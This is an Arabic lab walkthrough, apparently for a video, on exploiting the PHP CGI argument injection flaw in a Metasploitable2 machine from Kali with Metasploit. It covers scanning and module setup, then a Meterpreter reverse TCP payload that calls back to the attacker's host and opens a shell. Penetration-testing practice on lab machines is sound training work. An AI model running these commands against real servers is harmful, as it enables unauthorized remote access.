🎬 هذا الفيديو على يوتيوب

1️⃣ فحص الهدف

حدّد عنوان IP الخاص بـ Metasploitable من Kali:

ip a

مثال:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

نفحص المنفذ والخدمة:

nmap -p 80 192.168.56.102

يمكنك أيضًا التحقق من ذلك في المتصفح:

http://192.168.56.102/

2️⃣ تشغيل Metasploit

msfconsole

3️⃣ اختيار وحدة إكسبلويت PHP CGI

search php cgi

الوحدة الصحيحة:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ إعداد الإكسبلويت

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

نختار الحمولة:

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

لنتحقق:

show options

5️⃣ تشغيل الإكسبلويت

run

أو

exploit

إذا نجحت العملية:

Meterpreter session 1 opened

6️⃣ فحص الوصول

sysinfo
whoami